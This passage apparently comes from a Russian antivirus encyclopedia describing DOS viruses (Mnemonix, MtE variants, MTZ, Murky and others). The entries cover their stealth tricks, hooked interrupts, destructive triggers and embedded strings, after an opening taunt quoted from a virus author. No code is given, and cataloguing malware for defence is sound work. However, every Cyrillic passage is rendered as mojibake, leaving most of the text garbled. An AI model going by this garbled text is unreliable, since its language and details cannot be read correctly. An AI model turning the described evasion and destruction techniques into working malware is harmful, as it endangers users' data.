òåáÿ çàäîëáàëè,à ? Êàê ýòî:âñå ÓÄÀËÈË:),à îí îïÿòü ïîÿâèëñÿ !
HÓ ÒÅÏÅÐÜ ÂÑÅ - ÂÀÌ ÂÑÅÌ ÌÅHß ÒÅÏÅÐÜ ËÅ×ÈÒÜ ÑËÀÁÎ:SND îäíàêî...
RES íå îòýìyëèë - ïîëy÷è 32ReGs,@$%^, !
Revenge - Ýòî äàæå íå øâàápà,à ïûëåñîñ ñ ÿäåpíîé íàêà÷êîé è
òypáî-íàääyâîì äëÿ òâîåé íåñ÷àñòíîé Ïàyòèíû è îñòàëüíûõ ÇÀSHITHÈÊÎÂ!
[îñòàëüíûå íàåçäû ïîñêèïàíû]
Óâàæàåìûé ã-í Êàñïåpñêèé ! Î÷åíü áëàãîäàpåí çà ïîäpîáíîå îïèñàíèå !
Ìíå î÷åíü ïîípàâèëîñü,thanks.Áàãè â äîêå åñòü íî âñå pàâíî - ÊÐÓÒÎ !
RES - íå ïîëèìîpôíûé ãåíåpàòîp,à Randomer
Ïî ýòîìy ïîâîäy ÿ yäàëèë .AVB èç õîpîøåãî ñïèñêà ! Bestîâûå påãàpäû è
pyëåñû ! AVP - ýòî êpyòî,Web - real SUXX !
Çà áàãè è ãëþêè íå îòâå÷àþ (â îñîáåííîñòè çà ÷yæèå)!
¹ S.S.R.
P.S. remember:8086 - íå 486,à emul - íå TD386
Ïðè äåòåêòèðîâàíèè âèðóñà MME.Ssr.19071 ïðîãðàììà Dr.Web îïðåäåëÿåò åãî
â èíôèöèðîâàííûõ ôàéëàõ, êàê MME.Ssr.18273.
Mnemonix.A-Bomb
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé ñòåëñ-âèðóñ. Çàðàæàåò COM-ôàéëû ïðè
èõ ñòàðòå èëè çàêðûòèè. Ïðè îòêðûòèè èíôèöèðîâàííûõ ôàéëîâ, âèðóñ
óäàëÿåò èç íèõ ñâîé êîä. Ñîäåðæèò ñòðîêó "[A-BOMB V1.0ñ] By Mnemonix
1994".
Mnemonix.BW.1027
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó
"[BW] [DP/4] Dementia Praecox MnemoniX '94".
Mnemonix.Esp
Íåîïàñíûé ïîëèìîðôíûé ðåçèäåíòíûé âèðóñ-ñïóòíèê. Ñîäåðæèò ñòðîêó
"[ESP/Sixth Sense] by MnemoniX".
Mnemonix.LoTek.856
Ñîäåðæèò ñòðîêó "[BW ñ] [Lo Tek] by MnemoniX".
Mnemonix.Neuropath
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîçäàåò ôàéë, ñîñòîÿùèé èç 2
ñèìâîëîâ ñî çíà÷åíèåì 256 (FFh), â òåêóùåì êàòàëîãå. Ïðè îòêðûòèè
ôàéëîâ ïðîãðàììàìè SCAN, CLEAN, âèðóñ ïîäñòàâëÿåò èì ñîçäàííûå èì ôàéëû
FFFFh. Ñîäåðæèò ñòðîêó "[Neuropath] MnemoniX".
Mnemonix.Sugar
14 ÷èñëà âûâîäèò íà ýêðàí ñòðîêó "[C6H12O6] ". Èìååò òåêñòîâóþ ñòðîêó
"Blood Sugar by MnemoniX".
Moctezuma.2208, Moctezuma.2416
Î÷åíü îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ïåðåõâàòûâàþò INT 08,
13h, 21h. Ïðè ÷òåíèè èëè çàïèñè ñåêòîðîâ ÷åðåç INT 13h èçìåíÿþò äâà
ñëó÷àéíûõ áàéòà. INT 08 èñïîëüçóþò äëÿ ñîçäàíèÿ õîëîñòûõ öèêëîâ.
Moctezuma.2208 èíîãäà ñäâèãàåò êâàäðàò ðàçìåðîì 12x12 â ëåâîé ÷àñòè
ýêðàíà íà 2 ñòðîêè ââåðõ. Ñîäåðæàò òåêñò "Moctezuma's Revenge".
Moloch
Íåîïàñíûé çàãðóçî÷íûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Èçìåíÿåò íåêîòîðûå ïîëÿ
CMOS-ïàìÿòè (?). Ñîäåðæèò ñòðîêè:
OH-MY-GOD! Moloch (tm) is here!
Moloch is a trademark of SquiBoyz
Monarch.1040
Î÷åíü îïàñíûé øèôðîâàííûé âèðóñ. Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà,
âèðóñ ïðîèçâîäèò ïîèñê COM è EXE-ôàéëîâ â òåêóùåì êàòàëîãå è çàðàæàåò
èõ, ïðè÷åì EXE-ôàéëû çàðàæàþòñÿ òàêæå, êàê è COM.  äàëüíåéøåì ïðè
ñòàðòå òàêîãî "áûâøåãî" EXE-ôàéëà âèðóñ âûâîäèò ñîîáùåíèå "Error in EXE
file". Åñëè â òåêóùåì êàòàëîãå COM è EXE-ôàéëîâ íåò, ëèáî îíè óæå âñå
çàðàæåíû, òî âèðóñ âûâîäèò ñîîáùåíèå "Bad command or file name",
"ïåðåõâàòûâàåò" INT 21h è îñòàâëÿåò â ïàìÿòè ñâîþ ðåçèäåíòíóþ êîïèþ,
çàðàæàþùóþ ôàéëû ïðè èõ îòêðûòèè (f.3Dh INT 21h). Àâòîðîì ïëàíèðîâàëîñü
çàðàæåíèå ôàéëîâ è ïðè çàïóñêå, ïåðåèìåíîâàíèè, ñìåíå àòðèáóòîâ,.. íî â
äàííîì ìåñòå äîïóùåíà îøèáêà. Åñëè ðàçìåð ôàéëîâ-æåðòâ ìåíåå 666 áàéò
èëè áîëüøå 64000 áàéò (íî ìåíåå, ÷åì 64K - îøèáêà àâòîðà), òî âèðóñ
çàïèñûâàåò â íà÷àëî òàêèõ ôàéëîâ 6 áàéò êîäà ïåðåçàãðóçêè ñèñòåìû è
ñëåäóþùèé òåêñò:
This program was written in USSA (c) 1879-1953 Red monarch
 ôàéëû, èìåþùèå ðàñøèðåíèå ?AP, âèðóñ òàêæå çàïèñûâàåò
âûøåîáîçíà÷åííûé òåêñò. Áåçíàäåæíî ïîðòèò ôàéëû áîëüøå 64K ïðè ïîïûòêå
èõ çàðàæåíèÿ. Ïðè çàðàæåíèè 13 ôàéëîâ âèðóñ ïûòàåòñÿ óíè÷òîæèòü
Boot-ñåêòîð äèñêåòû â òðåòüåì äèñêîâîäå.
Mongol
Îïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. 30 ìàÿ óíè÷òîæàåò ñåêòîðà ïåðâîãî
æåñòêîãî äèñêà è âûâîäèò òåêñò:
Mongolain Virus VERSION 1.00
Mongolian Brain Co.Ltd 1992
Today is birthday of my babby !!!
Monkey (1,2)
Íåîïàñíûå Boot-âèðóñû. Ïðè çàðàæåíèè øèôðóþò îðèãèíàëüíûé Boot-ñåêòîð.
Ñîäåðæàò çàøèôðîâàííóþ ñòðîêó "Monkey".
Morgot.823, 841, 948
Ñîäåðæàò ñòðîêó "MORGOT", "-=MORGOT 2=-" èëè "-=MORGOT 3=-".
Moskau.800
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò çàøèôðîâàííóþ
òåêñòîâóþ ñòðîêó "Stas".
Mosquito.768
Îïàñíûé ðåçèäåíòíûé âèðóñ. Âíåäðÿåò ñâîé êîä (768 áàéò) â òî÷êó âõîäà
EXE-ôàéëîâ, ïåðåíîñÿ ïðîãðàììíûé êîä â êîíåö ôàéëîâ. Èç-çà îøèáîê ìîæåò
ðàçðóøèòü íåêîòîðûå ôàéëû. "Ïåðåõâàòûâàåò" INT 10h, 21h. Ïðè âûâîäå íà
ýêðàí ìåíÿåò áóêâó "ñ" íà "ø", à ïðè âûâîäå áóêâû "à" ïèùèò äèíàìèêîì.
Ñîäåðæèò òåêñò "Mosquito.(Crazy)".
MP.1024
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Çàïèñûâàåò â MBR æåñòêîãî äèñêà
òðîÿíñêèé êîä, êîòîðûé 9 èëè 10 ÷èñëà ìåñÿöà óíè÷òîæàåò èíôîðìàöèþ íà
"âèí÷åñòåðå".
MPhTI (1-3)
Îïàñíûå çàãðóçî÷íûå âèðóñû. Ìîãóò óíè÷òîæèòü íåñêîëüêî ñåêòîðîâ äèñêîâ.
Ñîäåðæàò òåêñò "1991,ÌÔÒÈ".
MrD.1536
Ìîæåò ðàçìåñòèòü ñâîþ TSR-êîïèþ â UMB. 31 ÷èñëà ìåñÿöà óñòðàèâàåò íà
ýêðàíå äâèæåíèå áóêâ è ñèìâîëîâ. Ñîäåðæèò ñòðîêè "VIRPU" è "Mr. D".
MrD.1569
Çàøèôðîâàííûé ðåçèäåíòíûé âèðóñ. Ïðåäïðèíèìàåò âñåâîçìîæíûå óõèùðåíèÿ
äëÿ çàòðóäíåíèÿ àíàëèçà âèðóñíîãî êîäà. Ïåðåõâàòûâàåò INT 1Ch, 21h,
2Fh. Ñîäåðæèò òåêñòîâóþ ñòðîêó "VIR MKS AV NV TB". Ôàéëû, ñîäåðæàùèå
äàííûå áóêâåííûå ïîñëåäîâàòåëüíîñòè âèðóñ íå çàðàæàåò. Ïîñëå çàðàæåíèÿ
ôàéëà âèðóñ ïûòàåòñÿ óäàëèòü ôàéë ñ òàêèì æå èìåíåì, íî ñ ðàñøèðåíèåì,
â êîòîðîì âìåñòî ïåðâîé áóêâû áóäåò ïðèñóòñòâîâàòü ñèìâîë "_",
íàïðèìåð, äëÿ ôàéëà EXEFILE.EXE âèðóñ ïîñëå åãî çàðàæåíèÿ ïîïûòàåòñÿ
óäàëèòü ôàéë EXEFILE._XE (?). Èíîãäà âèðóñ óñòðàèâàåò âèäåîýôôåêòû:
ëèáî ñäâèãàåò ïîñòåïåííî âåñü ýêðàí íà îäíó ñòðîêó âíèç, ëèáî
ìåíÿåò ìåñòàìè äâà ñëó÷àéíûõ ñèìâîëà íà ýêðàíå.
MrHu
Î÷åíü îïàñíûé øèôðîâàííûé Boot-âèðóñ. Ïðè çàðàæåíèè ïðîèçâîäèò ïîèñê
èíñòðóêöèè STI (0FBh) â MBR èëè Boot-ñåêòîðå äèñêà è âíåäðÿåò ñðàçó çà
äàííîé íàéäåííîé èíñòðóêöèåé 37 áàéò ñâîåãî êîäà, ïðîèçâîäÿùèõ
ñ÷èòûâàíèå âòîðîãî âèðóñíîãî ñåêòîðà - "õâîñòà", ðàñïîëîæåííîãî â
ïîñëåäíåì ñåêòîðå äèñêà. Èíîãäà óíè÷òîæàåò èíôîðìàöèþ íà äèñêå, ñ
êîòîðîãî ïðîèñõîäèëà çàãðóçêà ñèñòåìû. Ïîñëå ÷åãî âûâîäèò â ïÿòóþ
âèäåîñòðàíèöó (?) òåêñò "(C) Copyright Mr. Hu 1992-93 V1.00".
MrRat.1278
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "Mr.Rat". Ïðè íàõîæäåíèè
ôàéëà dirinfo, - çàíîâî ñîçäàåò åãî è çàïèñûâàåò â íåãî îäèí èç
ñëåäóþùèõ òåêñòîâ:
Ðåáÿòà! Äàéòå ïîêóðèòü.
Ñëóøàé! Ñãîíÿé çà ïèâîì...
Êòî ñòåð ìîé PrefClub!!!
Ïÿòíàäöàòü ÷åëîâåê íà êîìïüþòåð øåôà.
Éî-õî-õî è áóòûëêà ïèâà.
Çàâàðè ÷àéêó, à?
À âñÿêèì òàì Ëîçèíñêèì,
ìû åùå ïîêàæåì!
Ìèçåð! È 65535 â ãîðó...
Îòâàë áàøêè...
Ïîåõàëà. Öåëóþ. Êðûøà.
6NT, ãîâîðèøü?.. Òàê ÿ æ òåáÿ ñüåì!
Well, well, well...
Give 'er a blast, babes!
ß óñòàë... Áåçóìíî óñòàë...
Ïåðåä âàìè äèàãðàììà ðàñïðåäåëåíèÿ
çäðàâîìûñëèÿ...
Ìàðàçì - îí è â Àôðèêå ìàðàçì.
Larry, Rat & Qwer Co.
All Rights Reserved.
IT'S A MATTER OF PREFERENCE
MrTwister.12288, 16384
Î÷åíü îïàñíûå íåðåçèäåíòíûå âèðóñû, íå ñîõðàíÿþùèå ïðîãðàììíûé êîä.
Ïðè ñòàðòå âèðóñû âûâîäÿò òåêñòû:
MrTwister.12288 - Enter Correct key for access
You must Pick a number from 1 to 10
MrTwister.16384 - Enter Correct key for access
Ïîñëå ÷åãî âèðóñû îæèäàþò íàæàòèÿ íà êëàâèøó. Åñëè äëÿ âèðóñà
MrTwister.12288 ââåñòè "5", à äëÿ MrTwister.16384 ñëó÷àéíóþ êëàâèøó,
òî âèðóñû âûâåäóò òåêñò:
Good Job, you were Lucky...
è âîçâðàòèò óïðàâëåíèå DOS. Åñëè íàæàòü ëþáóþ äðóãóþ êëàâèøó, òî âèðóñû
âûäàäóò ñîîáùåíèÿ:
MrTwister.12288 - Please try again when you feel lucky
MrTwister.16384 - Opps Wrong Key Your Screwed
Ïîñëå ÷åãî ïðîèçâåäóò ïîèñê è çàðàæåíèå â êàòàëîãàõ \vtemp1,
\windows èëè â òåêóùåì âñåõ äîñòóïíûõ ôàéëîâ. Ñîäåðæàò òåêñò
"Mr. Twister was here".
Ms.1006
Ïðîèçâîäèò òðàññèðîâêó INT 13h, 21h, 26h, 40h. Ñîäåðæèò ñòðîêó "Ms".
Mst.322
Èíîãäà âûâîäèò ñîîáùåíèå "(c) 1991 by MST,Vers.1.0".
MtE-âèðóñû
MtE (MuTation Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ øèôðîâùèêîâ è
ðàñøèôðîâùèêîâ. Ñîçäàí èçâåñòíûì áîëãàðñêèì âèðóñîïèñàòåëåì, èçâåñòíûì,
êàê Dark Avenger. Äàííûé ãåíåðàòîð ÿâëÿåòñÿ "ðîäîíà÷àëüíèêîì"
ïîëèìîðôíûõ ãåíåðàòîðîâ.
MtE.CoffeeShop
Ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïî ïÿòíèöàì ïðè çàïóñêå èíôèöèðîâàííîé
ïðîãðàììû ñ âåðîÿòíîñòüþ 1/256 âûâîäèò êàðòèíêó:
Û Ûßß Ûßß ÛßÛ Û Û ßßßÛ Ûßß Ûßß ÛßÛ ÛßÛ ÛßÛ ÛßÛ Û Û Ûßß
Û ÛÜ Û Ü ÛÜÛ Û Û Üß ÛÜ ÝÞ Û ÛÜÛ Û Û Û Û ÛÜÛ ÛÜÜ Û ÛÜÜ
ÛÜÜ ÛÜÜ ÛÜÛ Û Û ÛÜÜ Û ÛÜÜÜ ÛÜÜ \| ÛÜÜ Û Û Û Û Û Û Û Û ÛÜÛ Û ÜÜÛ
Þ\|Þ
Ý |Þ
\¦/
Ý\Þ \ |/ ß
\ß Ý \|/Þ ß/
\ \ \¦/Þ ß /Ü
Ý-\/Þ Ý\ | / / Ü
Ý-\/Þ \ \|/Þ ß /-Þ
Ý-\/ Ý \¦/ Ý\/-Ü
Ý-Ä\/Ü Ý\ ¦ / \/-
Ü Ä\/ \|/Þ Ý \/-
ÝÄ\/ Ý\|/Þ \/- ßßß Ü
ÜÜÜ ßßßß Ä\ ßÝ ¦/ \/- ßßß - ÜÜ
ÜÜ ÄÄ ßßß__ \ \|/_/ ---- ÜÜÜ
ÜÜÜÜÜ >---|Ä-- ßßßß
ßßßßß ÜÜÜÜÜ Ý ÜÜÜÜÜÜÜ ßßß
Ý
Ñîäåðæèò òåêñòîâûå ñòðîêè: "SCCLVSNEHTTBVIRAFEMTBR", "Amsterdam =
COFFEESHOP!" è "MK1992"
MtE.Darkstar
Íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò ñòðîêó:
"NightMare Labs, United Kingdom-
- DarKStaR -".
MtE.Dedicated (1-3)
Ïîëèìîðôíûå âèðóñû. Âûâîäÿò òåêñòû:
We dedicate this little virus to Sara Gordon,
who wanted to have it corrected--
learn to program before you touch M_t_e
èëè:
We dedicate this little virus to Sara Gordon
who wanted to have a virus named after her.
MtE.Encroacher
Îïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óíè÷òîæàåò ôàéëû chklist.cps,
C:\CPAV\CPAV.EXE, C:\CPAV\VSAFE.COM. Ïåðèîäè÷åñêè çàïèñûâàåò â EXE-
ôàéëû òåêóùåãî êàòàëîãà 'òðîÿíñêóþ' ïðîãðàììó, ïåðåçàãðóæàþùóþ
êîìïüþòåð. Ñîäåðæèò òåêñòîâûå ñòðîêè: "ENCROACHER is here", "*.COM
chklist.cps C:\CPAV\CPAV.EXE C:\CPAV\VSAFE.COM *.EXE".
MtE.Fear
Î÷åíü îïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïåðèîäè÷åñêè ñòèðàåò
ñëó÷àéíûå ñåêòîðà äèñêîâ. Ñîäåðæèò ñòðîêè: "Fear VirusCreated on 2-5-92
by PkaHerONEhp", "You have nothing to fear except FEAR itself...kein
'.' oder '..' Verzeichnis ist zugeordnet Eintrag .. nicht
wiederherstellbar Eintrag hat eine fehlerhafte".
MtE.Groove
Î÷åíü îïàñíûé ïîëèìîðôíûé âèðóñ. Óíè÷òîæàåò ôàéëû C:\NAV_._NO,
C:\NOVIRCVR.CTS, C:\NOVIPERF.DAT, C:\CPAV\CHKLIST.CPS,
C:\TOOLKIT\FILES.LST, C:\UNTOUCH\UT.UT1, C:\UNTOUCH\UT.UT2, C:\VS.VS.
Ïîñëå çàðàæåíèÿ ôàéëà ìîæåò âûâåñòè ñîîáùåíèå:
Dont wory, you are not alone at this hour...
This Virus is NOT dedicated to Sara
its dedicated to her Groove (...Thats my name)
This Virus is only a test Virus therefor
be ready for my Next Test ....
MtE.Insuff
Íåðåçèäåíòíûé î÷åíü îïàñíûé âèðóñ ïîëèìîðôíûé âèðóñ. Èùåò COM-ôàéëû è
çàïèñûâàåòñÿ âìåñòî íèõ. Ñîäåðæèò ñòðîêè: "Insufficient memory",
"Out of stack", "Not enough memory".
MtE.LC92
Î÷åíü îïàñíûé ïîëèìîðôíûé âèðóñ. Åñëè âñå ôàéëû óæå çàðàæåíû, òî îí
ñòèðàåò ñëó÷àéíî âûáðàííûé ñåêòîð ñëó÷àéíî âûáðàííîãî äèñêà. Ñîäåðæèò â
ñåáå ñòðîêó:
MuTant Engine COM Infector - Research Vers 1 (c) LiquidCode 92
MtE.Metal
Ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò ñòðîêè: "Into the darkness
march the armies of the night", "Bound by Metal we live to fight".
MtE.Mother
Íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïåðèîäè÷åñêè ðèñóåò íà ýêðàíå êàðòèíêó
è èãðàåò ìåëîäèþ íà î÷åíü âûñîêîé ÷àñòîòå - ïèñêå.
ÕÍ͸ºéÝêªÕÍ͸
ÕÍÍÍÍÍÍÍÍÍÍ; \¡/ ÔÍÍÍÍÍÍÍÍÍÍ͸
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍ; Ò· ÖÄÄÄÄ· ÒÒÄÄÄ· ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ºº º ½ ºº Ó· º
º º¶ ÇĶ º¶ º º
ÖÄÄ º ºÓ · º · ºÓ Ö½ º ÄÄ·
ÓÄÄĽ ÓÄÄÄĽ ÓÄÄÄĽ ÐÄÄÄĽ ÓÄÄĽ
>>>>> ÖÄÄÄÄÄ· ÖÄÄÄÄ· ÒÒÄÄÄ· ÒÒÄÄÄ· ÖÄÄÄÄ· Ò· Ò ÒÒÄÄÄ· <<<<<
ÖÄÄÄ· ÖĽ º ½ º½ º º½ º º ½ ºº º ºº º ÖÄÄÄ·
ÓÄÄ º X ÇĶ ºÄÄÄĽ ºÄÄÄĽ ÇĶ º¶ º º¶ º º ÄĽ
º ÖĽ º · º º º · ºÓ · º ºÓ º º
º ÓÄÄÄÄĽ ÓÄÄÄĽ ½ ½ ÓÄÄÄĽ ÓÄÄÄĽ Ð Ð Ð º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸ ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ÔÍ¢¢¢¢/ú\¢¢¢¢Í¾
Ñîäåðæèò òåêñòû: "Ripped this Motherfucker off SHIT!!! Wont work...."
è "We dedicate this little virus to Sara Gordon who wanted to have a
virus named after her."
MtE.Pogue
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôèê. Èíîãäà èãðàåò ìåëîäèþ. Ñîäåðæèò
òåêñòû: "TNX2DAV", "Pogue Mahone!".
MtE.Questo
Íåðåçèäåíòíûé îïàñíûé ïîëèìîðôíûé âèðóñ. Ñòèðàåò Boot-ñåêòîðà äèñêîâ.
Ñîäåðæèò òåêñò: "Questo sistema Ê stato infettat*.COM".
MTZ.971
Íåîïàñíûé, ñàìîøèôðóþùèéñÿ âèðóñ. Â çàâèñèìîñòè îò âðåìåíè ìîæåò
âûâåñòè íà ýêðàí òåêñò: You are lucky. Full moon tonight.! Ñîäåðæèò
òåêñòîâóþ ñòðîêó: MTZ Virus 1.0 - From Italy
MTZ.1907
Íåîïàñíûé, ïîëèìîðôíûé ñòåëñ-âèðóñ. Ïåðåõâàòûâàåò ïðåðûâàíèÿ 3h, 15h,
21h. Àêòèâèçèðóåòñÿ åñëè âåðñèÿ DOS íå íèæå 5.0. Óñòàíàâëèâàåòñÿ
ðåçèäåíòíî â îáëàñòü UMB. Çàðàæàåò ôàéëû ïðè âûçîâå ôóíêöèé DOS
FindFirst, FindNext. Ïðè íàæàòèè íà Ctrl-Alt-Del âûâîäèò íà ýêðàí:
Y.K.K. - (c) M T Z - Italy!
Good Luck Today
MTZ.Overkill.1191, MTZ.Overkill.1308, MTZ.Overkill.1385
Íåîïàñíûå ïîëèìîðôíûå âèðóñû. Ïðè íåêîòîðûõ óñëîâèÿõ âûâîäÿò òåêñò
è æäóò íàæàòèÿ íà êëàâèøó. Åñëè áóäåò ââåäåíà 'Y', òî âèðóñû "âåøàþò"
ñèñòåìó. Åñëè 'N' - âîçâðàùàþò óïðàâëåíèå èíôèöèðîâàííîé ïðîãðàììå.
MTZ.Overkill.1191 è MTZ.Overkill.1308 ñîäåðæàò òåêñòîâóþ ñòðîêó
"Procedure From VCL 1.0".
MTZ.Overkill.1191 ñîäåðæèò ñòðîêó "Chi vuol esser lieto, sia: di
doman non v'e' certezza"
Âûâîäèìûå ñîîáùåíèÿ:
MTZ.Overkill.1191:
"OverKill Virus By MTZ - From Italy - Are You ready (y/n) ?"
MTZ.Overkill.1308:
"OverKill II Virus By MTZ - From Italy - Are You ready (y/n) ?"
MTZ.Overkill.1385:
"OverKill III Virus By MTZ - From Italy - Are You ready (y/n) ?"
MTZ.Overkill.2624
Íåîïàñíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Àêòèâèçèðóåòñÿ åñëè âåðñèÿ DOS
íå íèæå 5.0. Óñòàíàâëèâàåòñÿ ðåçèäåíòíî â îáëàñòü UMB. Çàðàæàåò ôàéëû
ïðè âûçîâå ôóíêöèé DOS FindFirst, FindNext, EXEC. Ïðè ðåçèäåíòíîì
âèðóñå, ïðè îòêðûòèè ôàéëà - óäàëÿåò âèðóñ èç ôàéëà, à ïðè çàêðûòèè
âíîâü çàðàæàåò åãî. 30 ÷èñëà ëþáîãî ìåñÿöà, â çàâèñèìîñòè îò ñèñòåì-
íîãî âðåìåíè, ìîæåò âûâåñòè òåêñò:
Overkill IV Virus - By MTZ - From Italy -
(Cazzo! Anche oggi un altro 2 di picche, ma si puo' andare avanti cosi' ?)
MTZ.PinkPanther.4510, MTZ.PinkPanther.5081
Î÷åíü îñòðîóìíî îïðåäåëÿþò îðèãèíàëüíûé àäðåñ îáðàáîò÷èêà INT 21h,
ïåðåõâàòèâ INT 6 è "çàáèâ" ÿäðî DOS áàéòàìè 0FFh, ïðåäâàðèòåëüíî
ñêîïèðîâàâ äàííîå ÿäðî â îáëàñòü UMB. Ñîäåðæàò ðàñøèôðîâùèê,
èçâëåêàþùèé íà÷àëüíûå çíà÷åíèÿ ðåãèñòðîâ èç ñòåêà. PinkPanther.4510
ñîäåðæèò òåêñòîâóþ ñòðîêó:
2 - The Pink Panther - (c) MTZ Sept. 1993 Italy
PinkPanther.5081 31 äåêàáðÿ âûâîäèò íà ýêðàí òåêñò:
Pink Panther 2 (*The Last One*) - (c) MTZ '1 Jan 1994' Italy
Òàêæå â ñâîåì òåëå ñîäåðæèò ñòðîêó: "Dedicated to Federica!"
Muhamor.4608
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Íå çàðàæàåò ôàéëû, ñîäåðæàùèå â ñâîåì
èìåíè áóêâîñî÷åòàíèå "WE". Çàïèñûâàåò â ôàéë C:\WINDOWS\LOGOS.sys è
C:\WINDOWS\LOGOW.sys èçîáðàæåíèå ìóõîìîðà. Â ðåçóëüòàòå ïðè âûõîäå èç
Windows 95 íà åãî ñòàíäàðòíûõ çàñòàâêàõ â ïðàâîì íèæíåì óãëó ïîÿâëÿåòñÿ
èçîáðàæåíèå ìóõîìîðà. Âèðóñ ñîäåðæèò òåêñò:
·ù O Muhamor virus O ù· Êðàñíîäàð 1997ã.
MultiAni
Îïàñíûé çàãðóçî÷íûé âèðóñ. Çàïèñûâàåò ñâîé êîä äëèíîé 55 áàéò â îáëàñòü
ñîîáùåíèé çàãðóçî÷íîãî ñåêòîðà, è âíåäðÿåò êîìàíäó ïåðåäà÷è óïðàâëåíèÿ
â íà÷àëî ñòàíäàðòíîãî çàãðóç÷èêà.  äåêàáðå âèðóñ âûâîäèò íà ýêðàí
òåêñò: "La multi ani !". Ñîäåðæèò òåêñòû "SoSo3" è "! ina itlum aL".
Murcia.4651
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà ïåðåïðîãðàììèðóåò
çíàêîãåíåðàòîð è âûâîäèò íà ýêðàí øàãàþùåãî ÷åëîâå÷êà ñ ôëàêîíîì,
âèäèìî, îäåêîëîíà.  ïîñëåäñòâèè ÷åëîâå÷åê áðîñàåò äàííûé ôëàêîí íà
"çåìëþ" è íà ýòîì ìåñòå "âûðàñòàåò" íåêèé äâîðåö ñ íàäïèñüþ "MURCIA".
Òàêæå ñîçäàåò ôàéë MURCIA!!.001, â êîòîðûé çàïèñûâàåò òåêñò:
MURCIA (SPAIN): THE BEST PLACE IN THE WORLD!
WHERE THE PEOPLE MAKES VIRUSES FOR YOUR COMPUTER!
NOW, IN SPANISH:
èSABES LO FACIL QUE RESULTARIA BORRARTE TODOS
LOS FICHEROS DEL DISCO? O MEJOR AUN: FORMATEARLO.
QUE PASES UN FELIZ DIA.
Murky
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ. Âèðóñ ïåðåõâàòûâàåò INT 13h (îïåðàöèè
ñ äèñêîì) è ïðè çàïèñè ñåêòîðîâ ÷åðåç ôóíêöèþ AX=3 çàïèñûâàåò äàííûå
ñåêòîðà, èñïîëüçóÿ äðóãóþ ôóíêöèþ AX=0Bh (äëèííàÿ çàïèñü) INT 13h. Ïðè
÷òåíèè æå ýòèõ ñåêòîðîâ ÷åðåç ñòàíäàðòíóþ ôóíêöèþ AX=2 INT 13h, åñëè
ïðîèñõîäèò îøèáêà ÷òåíèÿ (ò.ê., ñåêòîð, çàïèñàííûé ÷åðåç "äëèííóþ
çàïèñü" íå ìîæåò áûòü ïðî÷òåí ñòàíäàðòíûì ñïîñîáîì), òî âèðóñ ñ÷èòûâàåò
"ñáîéíûå" ñåêòîðà ñ ïîìîùüþ ôóíêöèè AX=0Ah (äëèííîå ÷òåíèå), è, òàêèì
îáðàçîì, ñîçäàåò âèäèìîñòü íîðìàëüíîé ðàáîòû ñèñòåìû. Ïðè óäàëåíèè æå
âèðóñà èç ïàìÿòè, æåñòêèé äèñê ñòàíîâèòñÿ íåäîñòóïåí ñðåäñòâàì DOS.
Ïðîãðàììà Dr. Web ïîñëå óäàëåíèÿ âèðóñà èç MBR æåñòêîãî äèñêà
àâòîìàòè÷åñêè ïðèñòóïàåò ñ "èñïðàâëåíèþ" æåñòêèõ äèñêîâ. Ïîìíèòå, ÷òî
äàííàÿ îïåðàöèÿ ìîæåò áûòü äîâîëüíî ïðîäîëæèòåëüíà ïî âðåìåíè. Murky
ñîäåðæèò òåêñò "Murky".
Murphy.1008
Îïàñíûé ðåçèäåíòíûé âèðóñ. Óäàëÿåò *.ZIP ôàéëû.
Murphy.Tormentor
Î÷åíü îïàñíûé âèðóñ. 2 ÷èñëà ìåñÿöà óíè÷òîæàåò 255 ñåêòîðîâ íà âñåõ
ãîëîâêàõ ïåðâîãî æåñòêîãî äèñêà. Ñîäåðæèò ñòðîêè: "NUKE!",
"TORMENTOR,soldier of -=DY=-", "[Thanks DAv!] DEMORALIZED YOUTH!".
Mururoa.2464, 3443
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Mururoa.2464 4 ÷èñëà âûâîäèò
òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º I have one mesage to all people on earth : º
º Stop all French nuclear testing in the PACIFIC º
º Dont forgot :Comon people dont like nuc. tests! º
º This is is a MURUROA 1.386 by Blesk º
º PLUTONIUM IS BETTER IN POWER-PLANT !!!! º
º My greet to VYVOJAR,SVL,METABOLIS and all IRC. º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Mururoa.3443 4, 8 è 14 ìàÿ âûâîäèò íà ýêðàí òåêñò:
